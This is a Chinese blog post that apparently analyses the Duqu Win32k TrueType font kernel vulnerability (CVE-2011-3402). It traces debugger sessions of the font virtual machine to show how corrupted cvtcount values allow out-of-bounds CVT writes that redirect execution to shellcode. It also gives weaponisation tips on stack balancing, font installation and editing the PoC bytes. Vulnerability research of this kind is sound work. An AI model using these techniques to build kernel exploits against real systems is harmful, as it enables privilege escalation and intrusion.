Chinaunix首页 | 论坛 | 博客
  • 博客访问: 869215
  • 博文数量: 366
  • 博客积分: 10267
  • 博客等级: 上将
  • 技术积分: 4290
  • 用 户 组: 普通用户
  • 注册时间: 2012-02-24 14:04
文章分类

全部博文(366)

文章存档

2012年(366)

分类: 网络与安全

2012-03-04 13:00:24

早就听说duqu是第二代的stuxnet,心中就保留了一份好奇。之前对stuxnet的分析不仅可以看到作者在漏洞挖掘上的功力,同时也对作者那些精巧的利用思路由衷敬佩。而且,据说这个内核漏洞是以doc形式来触发的,心中更是想仔细跟一下。搜了一下,找到两篇比较好的文章启明星辰的分析,以及kk牛的《Analysing CVE-2011-3402 Font Parasing Vulnerability》。这两篇资料,对我的分析起到了很大的帮助。

一、漏洞原理:
在“启文”和KK的文章中,已经把漏洞原理说得比较清楚了,这里就是对他们所描述原理的理解、抄袭。
Win32k在处理字体的时候,需要计算出两个重要的变量:ulBitmapOffset、ulWorkMemSize。如果计算出来的ulBitmapOffset>ulWorkMemSize则会导致问题。因为,sfac_GetSbitBitmap函数会对ulBitmapOffset+0xA48位置的数据进行了修改,导致修改了后面结构fnt_GlobalGraphicStateType中的数据。而ulBitmapOffset+0xA48恰好指向fnt_GlobalGraphicStateType中的cvtcount成员。将修改cvtcount的值改得比较大以后,将从而使得解析引擎RCVT和WCVT函数在后面读和写ControlValueTable的时候越界读写。
Win32k!sfac_GetSbitBitmap

bf988bab 8d2424 lea esp,[esp]
bf988bae 6685c0 test ax,ax
bf988bb1 8b5528 mov edx,dword ptr [ebp+28h]
bf988bb4 8d3413 lea esi,[ebx+edx]
bf988bb7 760e jbe win32k!sfac_GetSbitBitmap+0x109 (bf988bc7)
bf988bb9 0fb7f8 movzx edi,ax
bf988bbc 8bff mov edi,edi
bf988bbe 8a11 mov dl,byte ptr [ecx]
bf988bc0 0816 or byte ptr [esi],dl

由于字体解析的时候ulBitmapOffset越界,sfac_GetSbitBitmap函数修改了Bitmap后面相邻结构中的变量(fnt_GlobalGraphicStateType中的cvtcount),导致cvtcount变大,从而使得解析引擎RCVT和WCVT函数在后面读和写ControlValueTable的时候越界读写。而在ControlValueTable后面紧跟的是fnt_GlobalGraphicStateType结构(本例原始cvtcount=1,因此fnt_GlobalGraphicStateType在controlValueTable偏移4的位置)。
利用时,通过精心构造字体文件0x3BAF2处存放的字体虚拟机的指令及操作数,可以控制字体的执行流程。通过RCVT函数依靠cvtcount过大的错误将指向shellcode的指针取出来,再通过WCVT函数将其写入fnt_GlobalGraphicStateType偏移0xAC的位置,再通过itrp_LSW函数产生对fnt_GlobalGraphicStateType偏移0xAC处的调用,从而达到执行任意代码的目的。







二、对溢出过程的调试
对itrp_InnerExecute的调试:
按照“启文”的说法itrp_InnerExecute是字体引擎的核心,会不断会读取instruments的值,然后调用具体的函数。在字体文件中包含的Instruments表(该表保存着解析该字体的时候需要调用的解析函数的index值以及参数值。)位于文件偏移的0x3BAF2处。
“启文”中还对itrp_InnerExecute和itrp_PUSHB1进行了注解说明。读者可以参阅“启文”的说明自己阅读相关代码。代码逻辑并不复杂,在相关提示下很容易就能看得懂。
另外要注意的是,字体虚拟机所使用的内存栈和我们熟悉的系统栈有所区别:
1、在字体虚拟机中,栈指针指向当前栈顶数据的下一个内存单元,也就是栈指针总是比当前栈顶元素地址大4。
2、在字体虚拟机中,栈是向高地址生长的。





在有上面的基础后,执行ba e1 itrp_InnerExecute,可以看到“启文”中所说的函数调用序列。
下面是常用的函数及其功能列表
函数名 功能描述 参数个数
Itrp_PUSHB1
0xB0
向栈内压入一个字节(该参数存储在该index 值后面),同时栈指针加4 0
Itrp_PUSHW1
0xB8
向栈内压入一个字,栈指针加4 0
Itrp_RS
0x43
以栈中的参数作为storeindex读取storage存储的一个临时变量,并存储在栈中storeindex的位置
将数据从storage读入栈中,用于存一些临时变量
1(该参数作为storeindex,该函数会以GlobalGS.storeaddress为基址,并通过index作索引读取存储的临时变量)
Itrp_WS
0x42
以当前栈倒数第二个压入得数值作storeindex,将当前栈最后一个压入的参数赋值给storage+storeindex*4的地方,栈指针-8
将栈中数据取出,存到storage中。用于存一些临时变量
2
Itrp_RCVT
0x45
以栈中最后一个压入的参数为cvtIndex,执行检测操作,如果cvtIndex>=cvtcount且小于255或者cvtIndex小于cvtcount的时候,从controlValueTable取数值,放入栈中之前存放cvtIndex的位置。栈指针不变。
将数据从controlValueTable读入栈中
该函数还将调用itrp_GetCVTEntryFast,从pfnt_GlobalGraphicStateType+0x8读取指针pControlValueTable,该指针指向ControlValueTable。ControlValueTable结构紧邻在fnt_GlobalGraphicStateType前面
1(cvtIndex)
Itrp_FLIPON
0x4D
修改autoflip的值为1,修改FLIP标记 0
Itrp_FLIPOFF
0x4E
修改autoflip的值为0 0
Itrp_ADD
0x60
当前栈倒数第二个压入的值加上当前栈最后压入的数值,将其和放入当前栈倒数第二个压入的值的位置,栈指针-4 2
Itrp_SUB
0x61
当前栈倒数第二个压入的值减去当前栈最后压入的数值,将其差放入当前栈倒数第二个压入的值的位置,栈指针-4 2
Itrp_SWAP
0x23
当前栈倒数第二个压入的值和当前栈最后压入的值作交换,栈指针不变 2
Itrp_DUP
0x20
当前栈-4位置的数据复制到当前栈的位置,栈指针加4 2
Itrp_JROT
0x78
有条件跳转,这里的跳转是指在instruments列表中跳转。该函数判断栈中最后压入的参数是否为0,如果为0,则不跳转;如果不为0,则以栈中倒数第二个参数为跳转的offset,并跳转到当前instruments指针+offset-1的instruments地址上。栈-8
在instruments列表上跳转
2
Itrp_JMPR 相当于无条件跳转,以当前栈中最后压入的参数为offset,跳转到当前instruments指针+offset-1的instruments地址上。栈-4 1
Itrp_LT2 比较两个数据的大小,如果栈中最后压入的参数大于栈中倒数第二个压入的参数,则返回1,否则返回0。并将结果放到倒数第二个参数的位置。栈-4 2
Itrp_NOT 检测当前栈中最后压入的数据,如果为0的话,则返回1,并存储在栈中最后压入的数据的地址处。 1
Itrp_WCVT
0x44
对应于itrp_RCVT,也就是写controlValueTable数据。该函数使用栈中倒数第二个参数作为cvtindex值,将倒数第一个参数作为数据存储在controlValueTable+cvtindex*4的地址中
将数据从栈中写入到trolValueTable
2
Itrp_LSW
0x1f
关键是要使用call dword ptr [eax+0ACh],使其执行到shellcode 2

调试过程简化:
为简化调试过程,可对原代码进行修改。
在即将使用dexter.tff字体,调用TextOut输出文字时,弹出messagebox。
执行code.exe程序,在弹出提示框之后,执行断点ba e1 BF9886AF,点击提示窗口的确定按钮让程序继续执行。然后执行指令g;db eax+1 l1观察此时eax +1的值。
当取值为0xFF时,可以对Win32k!sfac_GetSbitBitmap下断点,观察对ulBitmapOffset的计算。在此之后,程序将马上转入对itrp_InnerExecute的调用。因此,通过对win32k! itrp_InnerExecute下执行断点,可以观察win32k的字体引擎的调用过程。

bf85c471 mov dword ptr [win32k!LocalGS+0x74 (bf9a9284)],eax ds:0023:bf9a9284=e2757bb3
bf85c476 jae win32k!itrp_InnerExecute+0x42 (bf85c4a4)
bf85c478 mov ecx,dword ptr [win32k!LocalGS+0x80 (bf9a9290)]
bf85c47e movzx edx,byte ptr [eax]
bf85c481 dec ecx
bf85c482 mov dword ptr [win32k!LocalGS+0x80 (bf9a9290)],ecx
bf85c488 je win32k!itrp_InnerExecute+0x38 (bf85c49a)
bf85c48a lea ecx,[eax+1]
bf85c48d call dword ptr win32k!function (bf9a4480)[edx*4]
执行命令:kd> db eax
02fcbaf2 b0 00 b0 00 42 4e b0 00-43 45 4d b0 00 43 45 61 ....BN..CEM..CEa
02fcbb02 b0 17 23 78 b0 00 43 b0-01 60 20 b0 00 23 42 b0 ..#x..C..` ..#B.
02fcbb12 50 61 b8 ff df 23 78 b0-80 1c b0 00 43 20 b0 01 Pa...#x.....C ..
通过对比原始dexter.ttf可以看到instrument数据从文件的0x3BAF2开始。

虚拟机执行记录:
序号 对应函数 执行完后的栈分布情况 执行结果
偏移0 偏移4 偏移8 偏移C
1 Itrp_PUSHB1 80 压入参数0
2 Itrp_PUSHB1 压入参数0
3 WS storage=e22adf00,将栈中数据0取出,存到storage中
4 FLIPOFF 修改autoflip标志位为0
5 Itrp_PUSHB1 压入参数0
6 RS 0 以刚压入0作为storeindex取出WS存储的数据
7 RCVT 0 读取controlValueTable偏移为0处的数据
8 FLIPON 0 修改autoflip标志位为1
9 PUSHB1 0 压入参数0
10 RS 0 以刚压入0作为storeindex取出storage中存储的数据
11 RCVT 0 读取controlValueTable偏移为0处的数据
12 Sub 0 0 对结果没有影响
13 PUSHB1 0 17 压入参数17
14 SWAP 栈顶的两个元素交换
15 JROT 不跳转,通过对比函数返回前后eax可以知道是否跳转
16 PUSHB1 0 压入参数0
17 RS 将storage中index=0位置的数据
读入栈中
18 PUSHB1 01 通过db ecx l1可以看到参数值
19 Add 栈顶的两个数据相加,放到栈顶之下的空间1+0->0
20 DUP 复制数据
21 PUSHB1 01 压入参数0
22 SWAP 1 0 1
23 WS 1
24 PUSHB1 1 50 压入参数50
25 SUB Ffffffb1 1-x050
26 PUSHW1 1 ffffffdf 压入参数ffdf,实际结果是0xffffffdf
27 SWAP 1 Ffffffb1
28 JROT 跳转成功,instrument从0x3bb18跳转到0x3baf7,从指令表中看是回到指令4处
第一次产生循环
29 FLIPOFF
30 Itrp_PUSHB1 压入参数0
31 RS 0 以刚压入0作为storeindex取出storage存储的数据,0x1,存入栈中
32 RCVT ffffffb1 e22adafc 读取controlValueTable中index=1处的数据,由于cvtcount被恶意篡改,导致index正常情况下如果index>cvtcoun将会转到错误处理分支中。
33 FLIPON ffffffb1 e22adafc
34 Itrp_PUSHB1 压入参数0
35 RS 1 1 以刚压入0作为storeindex取出storage中存储的数据,压入栈
36 RCVT 再次使用错误的cvtcount数据从controlValueTable中读取数据,得到fnt_GlobalGraphicStateType的stackbase的值。
37 SUB e22adafc 0
38 PUSHB1 1 17 压入参数17
39 SWAP 17 1 交换
40 JROT 不跳转
41 PUSHB1 0 压入参数0
42 RS 0 以刚压入0作为storeindex取出storage存储的数据,0x0,存入栈中
43 PUSHB1 1 1 压入参数1
44 ADD 2 1 栈顶的两个数据相加,放到栈顶之下的空间1+1->2
45 DUP 1 2 当前栈-4位置的数据复制到当前栈的位置,栈指针加4
46 PUSHB1 0 0 压入参数1
47 SWAP 0 2
48 WS 2 相当于是将2保存下来,作为storage的第一个临时变量
49 PUSHB1 50 2 压入参数50
50 SUB Ffffffb2 50
51 PUSHW1 ffffffdf 00000002
52 SWAP ffffffdf ffffffb2
53 JROT 跳转成功,instrument从0x3bb18跳转到0x3baf7,从指令表中看是回到指令4处
这里是第二次产生循环
54 从这里可以看出,由于程序将一直在表项4与表项28所构成的循环序列中来回循环操作。循环结束的条件将是add指令构成的累加结果等于0x50

这里由于篇幅关系,只跟踪了两个itrp循环。有兴趣的读者可以自行将其补充完全。

当win32k!itrp_WCVT中断后,可以观察到如下指令及状态:
bf860df6 8b70fc mov esi,dword ptr [eax-4] ----1、2
bf860df9 83e804 sub eax,4
bf860dfc 83e804 sub eax,4
bf860dff 57 push edi
bf860e00 8b38 mov edi,dword ptr [eax] ds:0023:e22e0afc=0000002c ----3

kd> dd poi(bf9a9228) l-4 ---1
e25bcaf4 00000000 00000000 0000002c e25bd368
kd> db esi l5 ---2
e22e1368 e8 fb ff ff ff
kd> dd eax l1
e25bcafc 0000002c ----3

在执行写操作时,有如下状态:
bf860e29 8934b9 mov dword ptr [ecx+edi*4],esi
kd> db esi l5
e22e1368 e8 fb ff ff ff
kd> r ecx;r edi
ecx=e25bcf80
edi=0000002c
kd> ? ecx+edi*4
Evaluate expression: -500297680 = e22e1030
此时将要存放shellcode的地址指针写入到pfnt_GlobalGraphicStateType+0x2b*4也就是要写入到pfnt_GlobalGraphicStateType+0xAC的位置,而该地址在后面将会被另一个函数所调用。

在函数itrp_LSW处中断后,观察一下关键步骤执行时的状态:
BF98B9BC mov eax, pfnt_GlobalGraphicStateType
…… ……
BF98BA11 call dword ptr [eax+0ACh]

观察此时eax+0xac所指向的值有:
kd> ? eax+0xac
Evaluate expression: -499994576 = e22e1030
kd> db poi(eax+0xac) l5
e22e1030 e8 fb ff ff ff
可见此时,将马上转入对我们所放置在e22e1030 处的shellcode的调用。
按下F11,可以看到程序已经按照我们的要求跳转到e22e1030处执行。
e22e102C 0000 add byte ptr [eax],al
e22e1030 e8fbffffff call e22e1030
e22e1034 0000 add byte ptr [eax],al

观察此时程序调用栈的状态如下:
kd> kn
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 b219c1e8 bf98ba17 0xe232b368
01 b219c1f8 bf85c494 win32k!itrp_LSW+0x5b
02 b219c200 bf85f4c7 win32k!itrp_InnerExecute+0x32
03 b219c284 bf85bff7 win32k!itrp_Execute+0x24f
04 b219c2ac bf85f92f win32k!itrp_ExecuteGlyphPgm+0x4c
05 b219c2e0 bf862709 win32k!fsg_SimpleInnerGridFit+0x103
06 b219c378 bf85e8bc win32k!fsg_ExecuteGlyph+0x1d3
07 b219c3d4 bf85e779 win32k!fsg_CreateGlyphData+0xd5
08 b219c414 bf85ed09 win32k!fsg_GridFit+0x4d
09 b219c48c bf85c15d win32k!fs__Contour+0x291
0a b219c498 bf85c18f win32k!fs_ContourGridFit+0x12
0b b219c4a8 bf85e43f win32k!fs_NewContourGridFit+0x10
0c b219c4c0 bf85ef8c win32k!bGetGlyphOutline+0xb3
0d b219c4e8 bf85f09a win32k!bGetGlyphMetrics+0x20
0e b219c62c bf85e5df win32k!lGetGlyphBitmap+0x2b
0f b219c654 bf85e4cb win32k!ttfdQueryFontData+0x13e
10 b219c6a0 bf85b797 win32k!ttfdSemQueryFontData+0x45
11 b219c6d0 bf85bae5 win32k!PDEVOBJ::QueryFontData+0x3c
12 b219c748 bf8081d8 win32k!xInsertMetricsPlusRFONTOBJ+0x11e
13 b219c77c bf812b35 win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x180
估计内核之所以崩溃是由于内核系统栈上溢造成的。

三、对dexter.ttf文件的分析
通过查阅ttf文件格式的资料(上微软msdn上寻找),我们可以看到,字体虚拟机执行的虚拟指令位于ttf文件的glyf表中(offset-0x3bae4,length-0xbc)。通过查阅ttf文件格式的说明,得知:
图元数据(glyf表)是主要用于存放图元轮廓定义以及网格调整指令。Glyf表是TrueType字体的核心信息,因此通常它是最大的表。因为其位置索引是一张单独的表,图元数据表就完全只是图元的序列而已,每个图元以图元头结构如下:
typedef struct
{
WORD numberOfCountours; 0x01 /*轮廓数目,复合图元时为负数*/
FWord xMin; 0x00
FWord yMin; 0x00
FWord xMax; 0x01
FWord yMax; 0x01
}GlyphHeader;
右边用红色表示的为文件中相应的数据值。
如果numberOfContours的值大于0,则为简单图元。如果小于0,则此文字为复合文字。复合文字由若干个简单文字组成。简单图元的结构如下:
对于简单图元,图元的描述紧跟在GlyphHeader结构之后。图元的描述由几部分信息组成:所有轮廓线结束点的索引、图元指令和一系列的控制点。每个控制点包括一个标志以x和y坐标。概念上而言,控制所需的信息和GDI函数PolyDraw函数所需的信息相同:一组标志和一组点的坐标。但TrueType字体中的控制点的编码要复杂得多。
下面是图元描述信息的概述:
USHORT endPtsOfContours[n]; 0x01 /*轮廓线描叙,记录廓线上点的数量,n=轮廓线条数*/
USHORT instructionlength; 0xA9 /*图元指令长度*/
BYTE instruction[i]; 字体虚拟机指令,从0x3BAF2~0xBB9A/*i=指令长度*/
BYTE flags[];
BYTE xCoordinates[];
BYTE yCoordinates[];
通过上面的说明,已经从文件结构的角度对相关部分做了详细阐述。如果您愿意修改这些字节的话,可以按照这样的规范进行改动。(用来做什么呢?你知道的)。

从Shellcode字节存放的文件偏移看,这部分字节位于fpgm表中(offset-0x10c,length-0x3b8)。Fpgm表也是用于存放图元指令的字体程序表。在TTF字体目录表结构定义中,专门设有checkSum字段,尽管没有仔细对照微软的文档查找计算checkSum的方法,但是在实践中猜测表项的校验方法为简单的奇偶检验法。
typedef sturct
{
CHAR tag[4]; /*资源标记*/
ULONG checkSum; /*校验位*/
ULONG offset; /*表在TrueType结构体中的偏移量*/
ULONG length; /*每个表的大小*/
}TableEntry; /*此结构体为TrueType字体中的表的定义形式*/

如果发生校验错,那么加载文件后是不能触发漏洞的。

四、漏洞利用方式的分析:
在原POC文件中,shellcode存放于dexter.tff的0x15C处,原字节指令是E8 FB FF FF FF FF,也就是直接call自身所在位置。由于没有仔细调试过内核,猜测是由于循环调用自身发生了内核堆栈上溢。
和以往的内核漏洞利用不同,通常我们无法将shellcode布置到内核空间。因此,我们一般是将shellcode放在0x0处,然后使用系统调用的形式来完成对shellcode的调用。这次不同我们可以将shellcode直接放置到内核空间中。
在实际利用时,我们可以直接将用于shellcode直接填充在该位置,溢出后将直接跳转执行。程序返回n32k!itrp_InnerExecute后将继续执行其余的字体虚拟机指令,由于eax保存了下一个虚拟字节码的地址,esi指向虚拟字节的结束地址,所以,所以当这两个个指针出错时,将导致字体虚拟机循环出错,从而再次引起内核崩溃。解决方法是严格保持内核堆栈的平衡,同时在转入shellcode后使用pushad保留寄存器的内容,在shellcode执行结束时使用popad恢复原始寄存器内容。
要利用漏洞还有一个步骤是将dexter.ttf安装到的fonts目录中,安装可以通过脚本来完成,也可以通过AddFontResourceW函数来完成。

在编译pco文件时,还有一个细节需要注意,就是需要以UNICODE的方式来生成,否则不能触发该漏洞


作者 cmdhz
阅读(9245) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~